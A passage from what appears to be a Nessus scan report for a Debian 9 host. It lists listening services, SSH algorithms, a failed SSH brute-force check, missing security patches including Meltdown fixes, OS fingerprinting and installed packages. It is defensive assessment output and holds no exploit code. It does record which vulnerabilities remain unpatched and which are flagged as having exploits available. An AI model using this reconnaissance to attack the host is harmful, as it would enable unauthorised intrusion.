AIX. +process_on_port.nasl +2017/08/28 +Remote listeners enumeration (Linux / AIX) +2007/05/16 +local +None +1.20 +n/a +Using the supplied credentials, it was possible to identify the process listening on the remote port. + + Process ID : 1105 + Executable : /usr/sbin/exim4 + Command line : /usr/sbin/exim4 -bd -q30m + + + +The remote host is running a mail (SMTP) server on this port. + +Since SMTP servers are the targets of spammers, it is recommended you disable it if you do not use it. +smtpserver_detect.nasl +2011/03/11 +SMTP Server Detection +1999/10/12 +remote +None +$Revision: 1.54 $ +Disable this service if you do not use it, or filter incoming traffic to this port. +An SMTP server is listening on the remote port. + +Remote SMTP server banner : + +220 abcvy031.intranet.example.org ESMTP Exim 4.89 Wed, 04 Apr 2018 14:29:14 +0200 + + + +Security patches may have been 'backported' to the remote SSH server without changing its version number. + +Banner-based checks have been disabled to avoid false positives. + +Note that this test is informational only and does not denote any security problem. +backported_security_patches_ssh.nasl +2015/07/07 +Backported Security Patch Detection (SSH) +2009/06/25 +remote +None +$Revision: 1.9 $ +https://access.redhat.com/security/updates/backporting/?sc_cid=3093 +n/a +Security patches are backported. + +Local checks have been enabled. + + + +unix +By logging into the remote host with the supplied credentials, Nessus was able to obtain the name of the process listening on the remote port. + +Note that the method used by this plugin only works for hosts running Linux or AIX. +process_on_port.nasl +2017/08/28 +Remote listeners enumeration (Linux / AIX) +2007/05/16 +local +None +1.20 +n/a +Using the supplied credentials, it was possible to identify the process listening on the remote port. + + Process ID : 675 + Executable : /usr/sbin/sshd + Command line : /usr/sbin/sshd -D + + + +This plugin determines the versions of the SSH protocol supported by the remote SSH daemon. +ssh_proto_version.nasl +2017/05/30 +SSH Protocol Versions Supported +2002/03/06 +remote +None +$Revision: 1.35 $ +n/a +A SSH server is running on the remote host. +The remote SSH daemon supports the following versions of the +SSH protocol : + + - 1.99 + - 2.0 + + + +The account shown below on the remote host has an easily guessable password. An attacker may leverage this issue to gain total control of the affected system. +true +Exploits are available +offsec_ssh_account_check.nasl +SSH Account Brute-Force +2018/02/26 +remote +None +$Revision: 1.22 $ +Change the password for this account or disable it. +An account on the remote host uses a known password. + +It was possible to gain access using the following credentials: + +Following error messages occurred: + +[ERROR] target ssh://127.0.0.1:22/ does not support password authentication. + + +This script detects which algorithms and languages are supported by the remote service for encrypting communications. +ssh_supported_algorithms.nasl +2017/08/28 +SSH Algorithms and Languages Supported +2013/10/28 +remote +None +$Revision: 1.6 $ +n/a +An SSH server is listening on this port. + +Nessus negotiated the following encryption algorithm with the server : + +The server supports the following options for kex_algorithms : + + curve25519-sha256 + curve25519-sha256@libssh.org + diffie-hellman-group-exchange-sha256 + diffie-hellman-group14-sha1 + diffie-hellman-group14-sha256 + diffie-hellman-group16-sha512 + diffie-hellman-group18-sha512 + ecdh-sha2-nistp256 + ecdh-sha2-nistp384 + ecdh-sha2-nistp521 + +The server supports the following options for server_host_key_algorithms : + + ecdsa-sha2-nistp256 + rsa-sha2-256 + rsa-sha2-512 + ssh-ed25519 + ssh-rsa + +The server supports the following options for encryption_algorithms_client_to_server : + + aes128-ctr + aes128-gcm@openssh.com + aes192-ctr + aes256-ctr + aes256-gcm@openssh.com + chacha20-poly1305@openssh.com + +The server supports the following options for encryption_algorithms_server_to_client : + + aes128-ctr + aes128-gcm@openssh.com + aes192-ctr + aes256-ctr + aes256-gcm@openssh.com + chacha20-poly1305@openssh.com + +The server supports the following options for mac_algorithms_client_to_server : + + hmac-sha1 + hmac-sha1-etm@openssh.com + hmac-sha2-256 + hmac-sha2-256-etm@openssh.com + hmac-sha2-512 + hmac-sha2-512-etm@openssh.com + umac-128-etm@openssh.com + umac-128@openssh.com + umac-64-etm@openssh.com + umac-64@openssh.com + +The server supports the following options for mac_algorithms_server_to_client : + + hmac-sha1 + hmac-sha1-etm@openssh.com + hmac-sha2-256 + hmac-sha2-256-etm@openssh.com + hmac-sha2-512 + hmac-sha2-512-etm@openssh.com + umac-128-etm@openssh.com + umac-128@openssh.com + umac-64-etm@openssh.com + umac-64@openssh.com + +The server supports the following options for compression_algorithms_client_to_server : + + none + zlib@openssh.com + +The server supports the following options for compression_algorithms_server_to_client : + + none + zlib@openssh.com + + + +It is possible to obtain information about the remote SSH server by sending an empty authentication request. +ssh_detect.nasl +2017/12/19 +SSH Server Type and Version Information +1999/10/12 +remote +None +2.15 +n/a +An SSH server is listening on this port. + +SSH version : SSH-2.0-OpenSSH_7.4p1 Debian-10+deb9u1 +SSH supported authentication : publickey + + + +all +This plugin displays, for each tested host, information about the scan itself : + + - The version of the plugin set. + - The type of scanner (Nessus or Nessus Home). + - The version of the Nessus Engine. + - The port scanner(s) used. + - The port range scanned. + - Whether credentialed or third-party patch management checks are possible. + - The date of the scan. + - The duration of the scan. + - The number of hosts scanned in parallel. + - The number of checks done in parallel. +scan_info.nasl +2017/10/26 +Nessus Scan Information +2005/08/26 +summary +None +$Revision: 1.90 $ +n/a +This plugin displays information about the Nessus scan. +Information about this scan : + +Nessus version : 7.0.2 +Plugin feed version : 201803062115 +Scanner edition used : Nessus +Scan type : Normal +Scan policy used : Advanced Scan +Scanner IP : 127.0.0.1 +Thorough tests : no +Experimental tests : no +Paranoia level : 1 +Report verbosity : 1 +Safe checks : yes +Optimize the test : yes +Credentialed checks : yes (on the localhost) +Attempt Least Privilege : no +Patch management checks : None +CGI scanning : disabled +Web application tests : disabled +Max hosts : 100 +Max checks : 5 +Recv timeout : 5 +Backports : Detected +Allow post-scan editing: Yes +Scan Start Date : 2018/4/4 14:28 CEST +Scan duration : 1876 sec + + + +all +The remote host is missing one or more security patches. This plugin lists the newest version of each patch to install to make sure the remote host is up-to-date. +patches_summary.nbin +2018/03/05 +Patch Report +2013/07/08 +local +None +$Revision: 1.104 $ +Install the patches listed below. +The remote host is missing several patches. + + +. You need to take the following 13 actions : + + +[ Debian DSA-4059-1 : libxcursor - security update (105120) ] + ++ Action to take : Upgrade the libxcursor packages. + +For the oldstable distribution (jessie), these problems have been fixed in version 1:1.1.14-1+deb8u1. + +For the stable distribution (stretch), these problems have been fixed in version 1:1.1.14-1+deb9u1. + + +[ Debian DSA-4065-1 : openssl1.0 - security update (105329) ] + ++ Action to take : Upgrade the openssl1.0 packages. + +For the stable distribution (stretch), these problems have been fixed in version 1.0.2l-2+deb9u2. + ++Impact : Taking this action will resolve 2 different vulnerabilities (CVEs). + + + +[ Debian DSA-4068-1 : rsync - security update (105332) ] + ++ Action to take : Upgrade the rsync packages. + +For the oldstable distribution (jessie), these problems have been fixed in version 3.1.1-3+deb8u1. + +For the stable distribution (stretch), these problems have been fixed in version 3.1.2-1+deb9u1. + ++Impact : Taking this action will resolve 3 different vulnerabilities (CVEs). + + + +[ Debian DSA-4071-1 : sensible-utils - security update (105431) ] + ++ Action to take : Upgrade the sensible-utils packages. + +For the oldstable distribution (jessie), this problem has been fixed in version 0.0.9+deb8u1. + +For the stable distribution (stretch), this problem has been fixed in version 0.0.9+deb9u1. + + +[ Debian DSA-4086-1 : libxml2 - security update (105801) ] + ++ Action to take : Upgrade the libxml2 packages. + +For the oldstable distribution (jessie), this problem has been fixed in version 2.9.1+dfsg1-5+deb8u6. + +For the stable distribution (stretch), this problem has been fixed in version 2.9.4+dfsg1-2.2+deb9u2. + + +[ Debian DSA-4088-1 : gdk-pixbuf - security update (106056) ] + ++ Action to take : Upgrade the gdk-pixbuf packages. + +For the oldstable distribution (jessie), this problem has been fixed in version 2.31.1-2+deb8u7. + +For the stable distribution (stretch), this problem has been fixed in version 2.36.5-2+deb9u2. In addition this update provides fixes for CVE-2017-6312, CVE-2017-6313 and CVE-2017-6314. + + +[ Debian DSA-4089-1 : bind9 - security update (106076) ] + ++ Action to take : Upgrade the bind9 packages. + +For the oldstable distribution (jessie), this problem has been fixed in version 1:9.9.5.dfsg-9+deb8u15. + +For the stable distribution (stretch), this problem has been fixed in version 1:9.10.3.dfsg.P4-12.3+deb9u4. + + +[ Debian DSA-4098-1 : curl - security update (106412) ] + ++ Action to take : Upgrade the curl packages. + +For the oldstable distribution (jessie), these problems have been fixed in version 7.38.0-4+deb8u9. + +For the stable distribution (stretch), these problems have been fixed in version 7.52.1-5+deb9u4. + ++Impact : Taking this action will resolve 2 different vulnerabilities (CVEs). + + + +[ Debian DSA-4100-1 : tiff - security update (106414) ] + ++ Action to take : Upgrade the tiff packages. + +For the oldstable distribution (jessie), these problems have been fixed in version 4.0.3-12.3+deb8u5. + +For the stable distribution (stretch), these problems have been fixed in version 4.0.8-2+deb9u2. + + +[ Debian DSA-4106-1 : libtasn1-6 - security update (106661) ] + ++ Action to take : Upgrade the libtasn1-6 packages. + +For the stable distribution (stretch), these problems have been fixed in version 4.10-1.1+deb9u1. + ++Impact : Taking this action will resolve 2 different vulnerabilities (CVEs). + + + +[ Debian DSA-4110-1 : exim4 - security update (106728) ] + ++ Action to take : Upgrade the exim4 packages. + +For the oldstable distribution (jessie), this problem has been fixed in version 4.84.2-2+deb8u5. + +For the stable distribution (stretch), this problem has been fixed in version 4.89-2+deb9u3. + + +[ Debian DSA-4113-1 : libvorbis - security update (106852) ] + ++ Action to take : Upgrade the libvorbis packages. + +For the stable distribution (stretch), these problems have been fixed in version 1.3.5-4+deb9u1. + ++Impact : Taking this action will resolve 2 different vulnerabilities (CVEs). + + + +[ Debian DSA-4120-1 : linux - security update (Meltdown) (Spectre) (106955) ] + ++ Action to take : Upgrade the linux packages. + +For the stable distribution (stretch), these problems have been fixed in version 4.9.82-1+deb9u2. + ++Impact : Taking this action will resolve 22 different vulnerabilities (CVEs). + + + + + + +Based on the remote operating system, it is possible to determine what the remote system type is (eg: a printer, router, general-purpose computer, etc). +device_type.nasl +2011/05/23 +Device Type +2011/05/23 +combined +None +$Revision: 1.1 $ +n/a +It is possible to guess the remote device type. +Remote device type : general-purpose +Confidence level : 100 + + + +all +By using information obtained from a Nessus scan, this plugin reports CPE (Common Platform Enumeration) matches for various hardware and software products found on a host. + +Note that if an official CPE is not available for the product, this plugin computes the best possible CPE based on the information available from the scan. +cpe.nbin +2017/06/06 +Common Platform Enumeration (CPE) +2010/04/21 +local +None +$Revision: 1.71$ +http://cpe.mitre.org/ +https://nvd.nist.gov/products/cpe +n/a +It was possible to enumerate CPE names that matched on the remote system. + +The remote operating system matched the following CPE : + + cpe:/o:debian:debian_linux:9.2 + +Following application CPE matched on the remote system : + + cpe:/a:openbsd:openssh:7.4 + + + +all +Using a combination of remote probes (e.g., TCP/IP, SMB, HTTP, NTP, SNMP, etc.), it is possible to guess the name of the remote operating system in use. It is also possible sometimes to guess the version of the operating system. +os_fingerprint.nasl +2018/01/19 +OS Identification +2003/12/09 +combined +None +$Revision: 2.44 $ +n/a +It is possible to guess the remote operating system. + +Remote operating system : Linux Kernel 4.9.0-4-amd64 on Debian 9.2 +Confidence level : 100 +Method : LinuxDistribution + +Not all fingerprints could give a match. If you think some or all of +the following could be used to identify the host's operating system, +please email them to os-signatures@nessus.org. Be sure to include a +brief description of the host itself, such as the actual operating +system or product / model names. + +SSH:!:SSH-2.0-OpenSSH_7.4p1 Debian-10+deb9u1 +uname:Linux abcvy031 4.9.0-4-amd64 #1 SMP Debian 4.9.51-1 (2017-09-28) x86_64 GNU/Linux + +SMTP:!:220 abcvy031.intranet.example.org ESMTP Exim 4.89 Wed, 04 Apr 2018 14:29:14 +0200 + + +The remote host is running Linux Kernel 4.9.0-4-amd64 on Debian 9.2 + + +p-cpe:/a:debian:debian_linux:linux +cpe:/o:debian:debian_linux:9.0 +CVE-2017-5754 +5.6 +CVSS:3.0/AV:L/AC:H/PR:L/UI:N/S:C/C:H/I:N/A:N +4.7 +CVSS2#AV:L/AC:M/Au:N/C:C/I:N/A:N +Multiple researchers have discovered a vulnerability in Intel processors, enabling an attacker controlling an unprivileged process to read memory from arbitrary addresses, including from the kernel and all other processes running on the system. + +This specific attack has been named Meltdown and is addressed in the Linux kernel for the Intel x86-64 architecture by a patch set named Kernel Page Table Isolation, enforcing a near complete separation of the kernel and userspace address maps and preventing the attack. This solution might have a performance impact, and can be disabled at boot time by passing pti=off to the kernel command line. + +We also identified a regression for ancient userspaces using the vsyscall interface, for example chroot and containers using (e)glibc 2.13 and older, including those based on Debian 7 or RHEL/CentOS 6. +This regression will be fixed in a later update. + +The other vulnerabilities (named Spectre) published at the same time are not addressed in this update and will be fixed in a later update. +4078 +true +Exploits are available +true +debian_DSA-4078.nasl +2018-A-0019 +true +2018/01/04 +2018/02/08 +Debian DSA-4078-1 : linux - security update (Meltdown) +2018/01/05 +local +Medium +$Revision: 3.9 $ +https://security-tracker.debian.org/tracker/linux +https://packages.debian.org/source/stretch/linux +http://www.debian.org/security/2018/dsa-4078 +Upgrade the linux packages. + +For the oldstable distribution (jessie), this problem will be fixed in a separate update. + +For the stable distribution (stretch), this problem has been fixed in version 4.9.65-3+deb9u2. +I +The remote Debian host is missing a security-related update. +DSA:4078 +IAVA:2018-A-0019 + +Remote package installed : linux-compiler-gcc-6-x86_4.9.51-1 +Should be : linux-compiler-gcc-6-x86_4.9.65-3+deb9u2 +Remote package installed : linux-headers-4.9.0-4-amd64_4.9.51-1 +Should be : linux-headers-4.9.0-3-amd64_4.9.65-3+deb9u2 +Remote package installed : linux-headers-4.9.0-4-common_4.9.51-1 +Should be : linux-headers-4.9.0-3-common_4.9.65-3+deb9u2 +Remote package installed : linux-headers-4.9.0-4-amd64_4.9.51-1 +Should be : linux-headers-4.9.0-4-amd64_4.9.65-3+deb9u2 +Remote package installed : linux-headers-4.9.0-4-common_4.9.51-1 +Should be : linux-headers-4.9.0-4-common_4.9.65-3+deb9u2 +Remote package installed : linux-headers-4.9.0-4-amd64_4.9.51-1 +Should be : linux-headers-4.9.0-5-amd64_4.9.65-3+deb9u2 +Remote package installed : linux-headers-4.9.0-4-common_4.9.51-1 +Should be : linux-headers-4.9.0-5-common_4.9.65-3+deb9u2 +Remote package installed : linux-image-4.9.0-4-amd64_4.9.51-1 +Should be : linux-image-4.9.0-3-amd64_4.9.65-3+deb9u2 +Remote package installed : linux-image-4.9.0-4-amd64_4.9.51-1 +Should be : linux-image-4.9.0-4-amd64_4.9.65-3+deb9u2 +Remote package installed : linux-image-4.9.0-4-amd64_4.9.51-1 +Should be : linux-image-4.9.0-5-amd64_4.9.65-3+deb9u2 +Remote package installed : linux-kbuild-4.9_4.9.51-1 +Should be : linux-kbuild-4.9_4.9.65-3+deb9u2 +Remote package installed : linux-libc-dev_4.9.51-1 +Should be : linux-libc-dev_4.9.65-3+deb9u2 + + + +unix +2.1 +CVSS2#AV:N/AC:H/Au:S/C:N/I:P/A:N +Some daemon processes on the remote host are associated with programs that have been installed manually. + +System administration best practice dictates that an operating system's native package management tools be used to manage software installation, updates, and removal whenever possible. +unpackaged_daemons.nasl +2017/08/28 +Network daemons not managed by the package system +2008/08/08 +remote +Low +1.13 +Use packages supplied by the operating system vendor whenever possible. + +And make sure that manual software installation agrees with your organization's acceptable use and security policies. +Some daemon processes on the remote host are associated with programs that have been installed manually. + +The following running daemons are not managed by dpkg : + +/root/.rbenv/versions/2.4.3/bin/ruby +/var/lib/udf/.rbenv/versions/2.5.0/bin/ruby + + + +unix +Using the supplied credentials, Nessus was able to determine when the host was last started. +last_reboot.nasl +2015/08/21 +Time of Last System Startup +2011/10/12 +local +None +$Revision: 1.6 $ +n/a +The system has been started. + + reboot system boot 4.9.0-4-amd64 Tue Apr 3 14:59 still running + + wtmp begins Tue Apr 3 12:31:26 2018 + + +unix +Nessus was able to list the software installed on the remote host by calling the appropriate command (e.g., 'rpm -qa' on RPM-based Linux distributions, qpkg, dpkg, etc.). +unix_enum_sw.nasl +2017/07/28 +Software Enumeration (SSH) +2006/10/15 +remote +None +$Revision: 1.24 $ +Remove any software that is not in compliance with your organization's acceptable use and security policies. +It was possible to enumerate installed software on the remote host via SSH. + +Here is the list of packages installed on the remote Debian Linux system : + + ii adduser 3.115 all add and remove users and groups + ii adwaita-icon-theme 3.22.0-1+deb9u1 all default icon theme of GNOME + ii apt 1.4.8 amd64 commandline package manager + ii apt-listchanges 3.10 all package change history notification tool + ii apt-transport-https 1.4.8 amd64 https download transport for APT + ii apt-utils 1.4.8 amd64 package management related utility programs + ii at-spi2-core 2.22.0-6+deb9u1 amd64 Assistive Technology Service Provider Interface (dbus core) + ii atop 2.2.6-4 amd64 Monitor for system resources and process activity + ii autoconf 2.69-10 all automatic configure script builder + ii autoconf-archive 20160916-1 all Autoconf Macro Archive + ii autogen 1:5.18.12-3 amd64 automated text file generator + ii autogen-doc 1:5.18.12-3 all automated text file generator - documentation + ii automake 1:1.15-6 all Tool for generating GNU Standards-compliant Makefiles + ii autotools-dev 20161112.1 all Update infrastructure for config.{guess,sub} files + ii base-files 9.9+deb9u2 amd64 Debian base system miscellaneous files + ii base-passwd 3.5.43 amd64 Debian base system master password and group files + ii bash 4.4-5 amd64 GNU Bourne Again SHell + ii bash-completion 1:2.1-4.3 all programmable completion for the bash shell + ii bind9-host 1:9.10.3.dfsg.P4-12.3+deb9u3 amd64 Version of 'host' bundled with BIND 9.X + ii binutils 2.28-5 amd64 GNU assembler, linker and binary utilities + ii bison 2:3.0.4.dfsg-1+b1 amd64 YACC-compatible parser generator + ii bmon 1:4.0-1 amd64 portable bandwidth monitor and rate estimator + ii bsdmainutils 9.0.12+nmu1 amd64 collection of more utilities from FreeBSD + ii bsdutils 1:2.29.2-1 amd64 basic utilities from 4.4BSD-Lite + ii build-essential 12.3 amd64 Informational list of build-essential packages + ii busybox 1:1.22.0-19+b3 amd64 Tiny utilities for small and embedded systems + ii bzip2 1.0.6-8.1 amd64 high-quality block-sorting file compressor - utilities + ii ca-certificates 20161130+nmu1 all Common CA certificates + ii ca-certificates-java 20170531+nmu1 all Common CA certificates (JKS keystore) + ii console-setup 1.164 all console font and keymap setup program + ii console-setup-linux 1.164 all Linux specific part of console-setup + ii coreutils 8.26-3 amd64 GNU core utilities + ii cpio 2.11+dfsg-6 amd64 GNU cpio -- a program to manage archives of files + ii cpp 4:6.3.0-4 amd64 GNU C preprocessor (cpp) + ii cpp-6 6.3.0-18 amd64 GNU C preprocessor + ii cron 3.0pl1-128+b1 amd64 process scheduling daemon + ii cryptsetup 2:1.7.3-4 amd64 disk encryption support - startup scripts + ii cryptsetup-bin 2:1.7.3-4 amd64 disk encryption support - command line tools + ii curl 7.52.1-5+deb9u3 amd64 command line tool for transferring data with URL syntax + ii dash 0.5.8-2.4 amd64 POSIX-compliant shell + ii dbus 1.10.22-0+deb9u1 amd64 simple interprocess messaging system (daemon and utilities) + ii dconf-gsettings-backend 0.26.0-2+b1 amd64 simple configuration storage system - GSettings back-end + ii dconf-service 0.26.0-2+b1 amd64 simple configuration storage system - D-Bus service + ii debconf 1.5.61 all Debian configuration management system + ii debconf-i18n 1.5.61 all full internationalization support for debconf + ii debian-archive-keyring 2017.5 all GnuPG archive keys of the Debian archive + ii debian-faq 8.1 all Debian Frequently Asked Questions + ii debianutils 4.8.1.1 amd64 Miscellaneous utilities specific to Debian + ii dh-python 2.20170125 all Debian helper tools for packaging Python libraries and applications + ii dictionaries-common 1.27.2 all spelling dictionaries - common utilities + ii diffutils 1:3.5-3 amd64 File comparison utilities + ii dirmngr 2.1.18-8~deb9u1 amd64 GNU privacy guard - network certificate management service + ii discover 2.1.2-7.1 amd64 hardware identification system + ii discover-data 2.2013.01.11 all Data lists for Discover hardware detection system + ii distro-info-data 0.36 all information about the distributions' releases (data files) + ii dkms 2.3-2 all Dynamic Kernel Module Support Framework + ii dmeventd 2:1.02.137-2 amd64 Linux Kernel Device Mapper event daemon + ii dmidecode 3.0-4 amd64 SMBIOS/DMI table decoder + ii dmsetup 2:1.02.137-2 amd64 Linux Kernel Device Mapper userspace library + ii doc-debian 6.4 all Debian Project documentation and other documents + ii dpkg 1.18.24 amd64 Debian package management system + ii dpkg-dev 1.18.24 all Debian package development tools + ii e2fslibs 1.43.4-2 amd64 ext2/ext3/ext4 file system libraries + ii e2fsprogs 1.43.4-2 amd64 ext2/ext3/ext4 file system utilities + ii eject 2.1.5+deb1+cvs20081104-13.2 amd64 ejects CDs and operates CD-Changers under Linux + ii emacsen-common 2.0.8 all Common facilities for all emacsen + ii ethtool 1:4.8-1+b1 amd64 display or change Ethernet device settings + ii exim4 4.89-2+deb9u2 all metapackage to ease Exim MTA (v4) installation + ii exim4-base 4.89-2+deb9u2 amd64 support files for all Exim MTA (v4) packages + ii exim4-config 4.89-2+deb9u2 all configuration for the Exim MTA (v4) + ii exim4-daemon-light 4.89-2+deb9u2 amd64 lightweight Exim MTA (v4) daemon + ii fakeroot 1.21-3.1 amd64 tool for simulating superuser privileges + ii file 1:5.30-1+deb9u1 amd64 Recognize the type of data in a file using "magic" numbers + ii findutils 4.6.0+git+20161106-2 amd64 utilities for finding files--find, xargs + ii firebird3.0-common 3.0.1.32609.ds4-14 all common files for firebird 3.0 server, client and utilities + ii firebird3.0-common-doc 3.0.1.32609.ds4-14 all copyright, licensing and changelogs of firebird3.0 + ii fontconfig 2.11.0-6.7+b1 amd64 generic font configuration library - support binaries + ii fontconfig-config 2.11.0-6.7 all generic font configuration library - configuration + ii fonts-dejavu-core 2.37-1 all Vera font family derivate with additional characters + ii fonts-dejavu-extra 2.37-1 all Vera font family derivate with additional characters (extra variants) + ii fonts-lato 2.0-1 all sans-serif typeface family font + ii fuse 2.9.7-1 amd64 Filesystem in Userspace + ii g++ 4:6.3.0-4 amd64 GNU C++ compiler + ii g++-6 6.3.0-18 amd64 GNU C++ compiler + ii gcc 4:6.3.0-4 amd64 GNU C compiler + ii gcc-6 6.3.0-18 amd64 GNU C compiler + ii gcc-6-base 6.3.0-18 amd64 GCC, the GNU Compiler Collection (base package) + ii geoip-database 20170512-1 all IP lookup command line tools that use the GeoIP library (country database) + ii gettext-base 0.19.8.1-2 amd64 GNU Internationalization utilities for the base system + ii git 1:2.11.0-3+deb9u2 amd64 fast, scalable, distributed revision control system + ii git-core 1:2.11.0-3+deb9u2 all fast, scalable, distributed revision control system (obsolete) + ii git-man 1:2.11.0-3+deb9u2 all fast, scalable, distributed revision control system (manual pages) + ii glib-networking 2.50.0-1+b1 amd64 network-related giomodules for GLib + ii glib-networking-common 2.50.0-1 all network-related giomodules for GLib - data files + ii glib-networking-services 2.50.0-1+b1 amd64 network-related giomodules for GLib - D-Bus services + ii gnome-icon-theme 3.12.0-2 all GNOME Desktop icon theme + ii gnupg 2.1.18-8~deb9u1 amd64 GNU privacy guard - a free PGP replacement + ii gnupg-agent 2.1.18-8~deb9u1 amd64 GNU privacy guard - cryptographic agent + ii gpgv 2.1.18-8~deb9u1 amd64 GNU privacy guard - signature verification tool + ii grep 2.27-2 amd64 GNU grep, egrep and fgrep + ii groff-base 1.22.3-9 amd64 GNU troff text-formatting system (base system components) + ii grub-common 2.02~beta3-5 amd64 GRand Unified Bootloader (common files) + ii grub-pc 2.02~beta3-5 amd64 GRand Unified Bootloader, version 2 (PC/BIOS version) + ii grub-pc-bin 2.02~beta3-5 amd64 GRand Unified Bootloader, version 2 (PC/BIOS binaries) + ii grub2-common 2.02~beta3-5 amd64 GRand Unified Bootloader (common files for version 2) + ii gsettings-desktop-schemas 3.22.0-1 all GSettings desktop-wide schemas + ii gtk-update-icon-cache 3.22.11-1 amd64 icon theme caching utility + ii guile-2.0-libs 2.0.13+1-4 amd64 Core Guile libraries + ii gzip 1.6-5+b1 amd64 GNU compression utilities + ii hdparm 9.51+ds-1 amd64 tune hard disk parameters for high performance + ii hicolor-icon-theme 0.15-1 all default fallback theme for FreeDesktop.org icon themes + ii hostname 3.18+b1 amd64 utility to set/show the host name or domain name + ii htop 2.0.2-1 amd64 interactive processes viewer + ii hydra 8.3-3 amd64 very fast network logon cracker + ii iamerican 3.4.00-5 all American English dictionary for ispell (standard version) + ii ibritish 3.4.00-5 all British English dictionary for ispell (standard version) + ii icu-devtools 57.1-6 amd64 Development utilities for International Components for Unicode + ii ienglish-common 3.4.00-5 all Common files for British and American ispell dictionaries + ii iftop 1.0~pre4-4 amd64 displays bandwidth usage information on an network interface + ii ifupdown 0.8.19 amd64 high level tools to configure network interfaces + ii init 1.48 amd64 metapackage ensuring an init system is installed + ii init-system-helpers 1.48 all helper tools for all init systems + ii initramfs-tools 0.130 all generic modular initramfs generator (automation) + ii initramfs-tools-core 0.130 all generic modular initramfs generator (core tools) + ii installation-report 2.62 all system installation report + ii iotop 0.6-2 amd64 simple top-like I/O monitor + ii iproute2 4.9.0-1 amd64 networking and traffic control tools + ii iptables 1.6.0+snapshot20161117-6 amd64 administration tools for packet filtering and NAT + ii iptraf 1:1.1.4-6 all transitional package to iptraf-ng + ii iptraf-ng 1:1.1.4-6 amd64 Next Generation Interactive Colorful IP LAN Monitor + ii iputils-ping 3:20161105-1 amd64 Tools to test the reachability of network hosts + ii isc-dhcp-client 4.3.5-3 amd64 DHCP client for automatically obtaining an IP address + ii isc-dhcp-common 4.3.5-3 amd64 common manpages relevant to all of the isc-dhcp packages + ii iso-codes 3.75-1 all ISO language, territory, currency, script codes and their translations + ii ispell 3.4.00-5 amd64 International Ispell (an interactive spelling corrector) + ii java-common 0.58 all Base package for Java runtimes + ii javascript-common 11 all Base support for JavaScript library packages + ii kbd 2.0.3-2+b1 amd64 Linux console font and keytable utilities + ii keyboard-configuration 1.164 all system-wide keyboard preferences + ii klibc-utils 2.0.4-9 amd64 small utilities built with klibc for early boot + ii kmod 23-2 amd64 tools for managing Linux kernel modules + ii krb5-locales 1.15-1+deb9u1 all internationalization support for MIT Kerberos + ii laptop-detect 0.13.8 amd64 system chassis type checker + ii less 481-2.1 amd64 pager program similar to more + ii libacl1 2.2.52-3+b1 amd64 Access control list shared library + ii libalgorithm-diff-perl 1.19.03-1 all module to find differences between files + ii libalgorithm-diff-xs-perl 0.04-4+b2 amd64 module to find differences between files (XS accelerated) + ii libalgorithm-merge-perl 0.08-3 all Perl module for three-way merge of textual data + ii libapparmor1 2.11.0-3 amd64 changehat AppArmor library + ii libapr1 1.5.2-5 amd64 Apache Portable Runtime Library + ii libaprutil1 1.5.4-3 amd64 Apache Portable Runtime Utility Library + ii libapt-inst2.0 1.4.8 amd64 deb package format runtime library + ii libapt-pkg5.0 1.4.8 amd64 package management runtime library + ii libasan3 6.3.0-18 amd64 AddressSanitizer -- a fast memory error detector + ii libasound2 1.1.3-5 amd64 shared library for ALSA applications + ii libasound2-data 1.1.3-5 all Configuration files and profiles for ALSA drivers + ii libassuan0 2.4.3-2 amd64 IPC library for the GnuPG components + ii libasyncns0 0.8-6 amd64 Asynchronous name service query library + ii libatk-bridge2.0-0 2.22.0-2 amd64 AT-SPI 2 toolkit bridge - shared library + ii libatk-wrapper-java 0.33.3-13 all ATK implementation for Java using JNI + ii libatk-wrapper-java-jni 0.33.3-13 amd64 ATK implementation for Java using JNI (JNI bindings) + ii libatk1.0-0 2.22.0-1 amd64 ATK accessibility toolkit + ii libatk1.0-data 2.22.0-1 all Common files for the ATK accessibility toolkit + ii libatomic1 6.3.0-18 amd64 support library providing __atomic built-in functions + ii libatspi2.0-0 2.22.0-6+deb9u1 amd64 Assistive Technology Service Provider Interface - shared library + ii libattr1 1:2.4.47-2+b2 amd64 Extended attribute shared library + ii libaudit-common 1:2.6.7-2 all Dynamic library for security auditing - common files + ii libaudit1 1:2.6.7-2 amd64 Dynamic library for security auditing + ii libavahi-client3 0.6.32-2 amd64 Avahi client library + ii libavahi-common-data 0.6.32-2 amd64 Avahi common data files + ii libavahi-common3 0.6.32-2 amd64 Avahi common library + ii libbind9-140 1:9.10.3.dfsg.P4-12.3+deb9u3 amd64 BIND9 Shared Library used by BIND + ii libbison-dev 2:3.0.4.dfsg-1+b1 amd64 YACC-compatible parser generator - development library + ii libblas-common 3.7.0-2 amd64 Dependency package for all BLAS implementations + ii libblas3 3.7.0-2 amd64 Basic Linear Algebra Reference implementations, shared library + ii libblkid1 2.29.2-1 amd64 block device ID library + ii libbsd0 0.8.3-1 amd64 utility functions from BSD systems - shared library + ii libbz2-1.0 1.0.6-8.1 amd64 high-quality block-sorting file compressor library - runtime + ii libc-bin 2.24-11+deb9u1 amd64 GNU C Library: Binaries + ii libc-dev-bin 2.24-11+deb9u1 amd64 GNU C Library: Development binaries + ii libc-l10n 2.24-11+deb9u1 all GNU C Library: localization files + ii libc6 2.24-11+deb9u1 amd64 GNU C Library: Shared libraries + ii libc6-dev 2.24-11+deb9u1 amd64 GNU C Library: Development Libraries and Header Files + ii libcairo-gobject2 1.14.8-1 amd64 Cairo 2D vector graphics library (GObject library) + ii libcairo2 1.14.8-1 amd64 Cairo 2D vector graphics library + ii libcap-ng0 0.7.7-3+b1 amd64 An alternate POSIX capabilities library + ii libcap2 1:2.25-1 amd64 POSIX 1003.1e capabilities (library) + ii libcc1-0 6.3.0-18 amd64 GCC cc1 plugin for GDB + ii libcilkrts5 6.3.0-18 amd64 Intel Cilk Plus language extensions (runtime) + ii libclass-isa-perl 0.36-5 all report the search path for a class's ISA tree + ii libcolord2 1.3.3-2 amd64 system service to manage device colour profiles -- runtime + ii libcomerr2 1.43.4-2 amd64 common error description library + ii libconfuse-common 3.0+dfsg-2 all Common files for libConfuse + ii libconfuse1 3.0+dfsg-2 amd64 Library for parsing configuration files + ii libcroco3 0.6.11-3 amd64 Cascading Style Sheet (CSS) parsing and manipulation toolkit + ii libcryptsetup4 2:1.7.3-4 amd64 disk encryption support - shared library + ii libcups2 2.2.1-8 amd64 Common UNIX Printing System(tm) - Core library + ii libcurl3 7.52.1-5+deb9u3 amd64 easy-to-use client-side URL transfer library (OpenSSL flavour) + ii libcurl3-gnutls 7.52.1-5+deb9u3 amd64 easy-to-use client-side URL transfer library (GnuTLS flavour) + ii libcurl4-openssl-dev 7.52.1-5+deb9u3 amd64 development files 